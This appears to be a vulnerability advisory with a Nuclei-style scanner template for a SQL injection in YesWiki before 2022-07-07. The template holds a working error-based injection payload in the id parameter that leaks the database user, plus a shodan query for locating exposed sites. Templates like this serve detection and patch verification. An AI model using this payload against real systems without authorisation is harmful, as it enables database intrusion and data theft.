YesWiki before 2022-07-07 contains a SQL injection vulnerability via the id parameter in the AccueiL URL. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: yeswiki-sql
info:
name: YesWiki <2022-07-07 - SQL Injection
author: arafatansari
severity: critical
description: |
YesWiki before 2022-07-07 contains a SQL injection vulnerability via the id parameter in the AccueiL URL. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
reference:
- https://huntr.dev/bounties/32e27955-376a-48fe-9984-87dd77e24985
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-89
cpe: cpe:2.3:a:yeswiki:cercopitheque:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.html:"yeswiki"
product: cercopitheque
vendor: yeswiki
tags: yeswiki,sqli,huntr
variables:
num: "999999999"
http:
- method: GET
path:
- '{{BaseURL}}/?PagePrincipale/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+concat_ws(0x207c20,md5({{num}}),1,user()))))--+-'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'c8c605999f3d8352d7bb792cf3f'
- type: status
status:
- 200
# digest: 4a0a004730450220453a25bb9645259c6d19d974f6e6f4d540abca466d8cb4806ca2a04a19c6b9d2022100833032ca1d4cad732e165157a48bc2086c600483a8751c3ad7f08892386caa4d:922c64590222798bb761d5b6d8e72950